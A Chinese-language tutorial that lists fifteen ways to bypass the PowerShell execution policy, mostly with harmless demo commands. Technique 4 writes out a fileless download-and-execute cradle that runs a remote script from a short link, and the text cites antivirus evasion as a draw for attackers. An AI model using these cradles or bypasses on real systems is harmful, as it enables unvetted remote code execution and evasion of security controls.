默認情況下,PowerShell禁止PowerShell腳本在Windows系統(tǒng)中執(zhí)行。這會妨礙滲透測試員,系統(tǒng)管理員,和開發(fā)人員……在這里我將在沒有系統(tǒng)管理員權限的情況下通過15個方法來繞過PowerShell execution policy。
我肯定還有很多的技術漏了(或者我根本不知道),但希望這篇文章將給需要它的人提供一個良好的開端。
** 什么是PowerShell Execution Policy?**
PowerShell execution policy 是用來決定哪些類型的PowerShell腳本可以在系統(tǒng)中運行。默認情況下,它是“Restricted”(限制)的。然而,這個設置從來沒有算是一種安全控制。相反,它會阻礙管理員操作。這就是為什么我們有這么多繞過它的方法。包括一些微軟提供的。更多關于在PowerShell執(zhí)行政策設置,默認的安全控制的設置。我建議閱讀Carlos Perez的博客。他提供了一個很好的概述。
** 為什么要繞過執(zhí)行政策**
我聽到的最多的原因是因為人們希望實現(xiàn)自動化操作,但下面還有一些其他原因致使PowerShell在管理員、滲透測試員、黑客們手中如此流行:
支持Windows
能調用Windows API
能在不寫入磁盤的情況下運行命令
能避免病毒的檢測
總是被標記為"信任"。是大部分應用程序的白名單一員。
曾寫出過許多的開源滲透測試工具包
如何查看Execution Policy
在能夠使用所有完美功能的PowerShell之前,攻擊者可以繞過“Restricted”(限制)execution policy。你可以通過PowerShell命令“executionpolicy“看看當前的配置。如果你第一次看它的設置可能設置為“Restricted”(限制),如下圖所示
PS C:> Get-ExecutionPolicy
同樣值得注意的是execution policy可以在系統(tǒng)中設置不同的級別。要查看他們使用下面的命令列表。更多信息可以點擊這里查看微軟的“Set-ExecutionPolicy” 。
Get-ExecutionPolicy -List | Format-Table -AutoSize
實驗環(huán)境說明
在下面的例子中我將使用一個名為runme.ps1的腳本,它將包含以下PowerShell命令來寫出一個消息到控制臺:
Write-Host "My voice is my passport, verify me."
當我試圖在一個帶有默認execution policy的系統(tǒng)上執(zhí)行它時,我得到以下錯誤:
如果你目前的execution policy是開放的,你想讓它更嚴格的測試,下面的技巧,然后從管理員PowerShell控制臺運行命令“Set-ExecutionPolicy Restricted”。OK,那我接著BB了,接下來我會通過15種方法來繞過PowerShell execution policy的限制。
繞過PowerShell Execution Policy
1. 把腳本直接粘貼到交互式的PowerShell控制臺
復制并粘貼你的PowerShell腳本為一個交互式控制臺如下圖所示。但是,請記住,你將被當前用戶權限限制。這是最基本的例子,當你有一個交互控制臺時,可以方便快速地運行腳本。此外,這種技術不會更改配置或需要寫入磁盤。
2. Echo腳本并PowerShell的標準輸入
簡單的ECHO腳本到PowerShell的標準輸入。這種技術不會導致配置的更改或要求寫入磁盤。
Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
3. 從文件中讀取腳本并通過PowerShell的標準輸入
使用Windows的"type"命令或PowerShell的"Get-Content"命令來從磁盤讀取你的腳本并輸入到標準的PowerShell中,這種技術不會導致配置文件的更改,但是需要寫入磁盤。然而,如果你想試圖避免寫到磁盤,你可以從網絡上讀取你的腳本。
例1:Get-Content Powershell命令
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
例2:Type 命令
TYPE .runme.ps1 | PowerShell.exe -noprofile -
4. 從網絡上下載腳本并通過IEX執(zhí)行它
這種技術可以用來從網上下載一個PowerShell腳本并執(zhí)行它無需寫入磁盤。它也不會導致任何配置更改。我已經看到它有許多創(chuàng)造性的使用方法,但最近看到它被引用到一個不錯的Matt Graeber的PowerSploit博客上。
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
5. 使用Command
這種技術和通過復制和粘貼來執(zhí)行一個腳本是非常相似的,但它可以做沒有交互式控制臺。這是很好的方式適合執(zhí)行簡單的腳本,但更復雜的腳本通常容易出現(xiàn)錯誤。這種技術不會導致配置更改或要求寫入磁盤。
例1:完整的命令
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
例2:簡短的命令
Powershell -c "Write-Host 'My voice is my passport, verify me.'"
6. 使用EncodeCommand
這和使用"Command"命令非常像,但它為所有的腳本提供了一個Unicode / Base64編碼串。通過這種方式加密你的腳本可以幫你繞過所有通過"Command"執(zhí)行時會遇到的錯誤。這種技術不會導致配置文件的更改或要求寫入磁盤。下面的示例來自 Posh-SecMod。
例1: 完整的命令
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
例2: 通過簡短的命令使用編碼串
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
7. 使用Invoke-Command命令
我在obscuresec的博客看到了這種有趣的方法。這是一個典型的通過交互式PowerShell控制臺執(zhí)行的方法。但最酷的是當PowerShell遠程處理開啟時我可以用它來對遠程系統(tǒng)執(zhí)行命令。這種技術不會導致配置更改或要求寫入磁盤。
invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}
基于obscuresec博客,下面的命令還可以用來抓取從遠程計算機的execution policy并將其應用到本地計算機。
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
8. 使用Invoke-Expression命令
這是另一個典型的通過交互式PowerShell控制臺執(zhí)行的方法。這種技術不會導致配置更改或要求寫入磁盤。下面我列舉了一些常用的方法來通過Invoke-Expression繞過execution policy。
例1:使用Get-Content的完整命令
Get-Content .runme.ps1 | Invoke-Expression
例2:使用Get-Content的簡短的命令
GC .runme.ps1 | iex
9.使用"Bypass"標記Execution Policy
當你通過腳本文件執(zhí)行命令的時候這是一個很好的繞過execution policy的方法。當你使用這個標記的時候"沒有任何東西被阻止,沒有任何警告或提示"。這種技術不會導致配置更改或要求寫入磁盤。
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
10. 使用"Unrestricted"標記Execution Policy
這類似于"Bypass"標記。當你使用這個標記的時候,它會"加載所有的配置文件并運行所有的腳本。如果你運行從網上下載的一個未被簽名的腳本,它會提示你需要權限",這種技術不會導致配置的更改或要求寫入磁盤。
PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1
11. 使用 "Remote-Signed"標記Execution Policy
創(chuàng)建你的腳本,然后按照教程的操作。最后,使用下面的命令運行它:
PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1
12. 通過交換AuthorizationManager禁用ExecutionPolicy
這真是一個我碰到的來自http://www.nivot.org的創(chuàng)意。下面的函數(shù)可以通過一個交互式的PowerShell來執(zhí)行。一旦函數(shù)被調用"AuthorizationManager"就會被替換成空。最終結果是,接下來的會話基本上不受execution policy的限制。然而,它的變化將被應用于會話的持續(xù)時間。
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy .runme.ps1
13. 把ExcutionPolicy設置成Process Scope
正如我們在引言中所看到的,執(zhí)行策略可以應用于多層次的。這包括你控制的過程。使用這種技術,執(zhí)行策略可以被設置為您的會話的持續(xù)時間不受限制。此外,它不會導致在配置更改,或需要寫入到磁盤。我最初發(fā)現(xiàn)這種技術來自r007break博客。
Set-ExecutionPolicy Bypass -Scope Process
14. 通過命令設置ExcutionPolicy為CurrentUser Scope
這種方法和上面那種類似。但是這種方法通過修改注冊表將當前用戶環(huán)境的設置應用到當前用戶的環(huán)境中。此外,它不會導致在配置更改,或需要寫入到磁盤。我最初發(fā)現(xiàn)這種技術來自r007break博客。
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
15. 通過注冊表設置ExcutionPolicy為CurrentUser Scope
在這個例子中,我展示了如何通過修改注冊表項來改變當前用戶的環(huán)境的執(zhí)行策略。
HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell
總結
我覺得這里的主題是:使用的execution policy不一定是開發(fā)商,管理員,或者。微軟從來沒有打算將它成為一個安全控制。這就是為什么有這么多選擇繞過它。微軟很好地提供了一些本地選項和安全社區(qū)也拿出一些真正有趣的把戲。感謝所有通過博客和演講做出貢獻的人。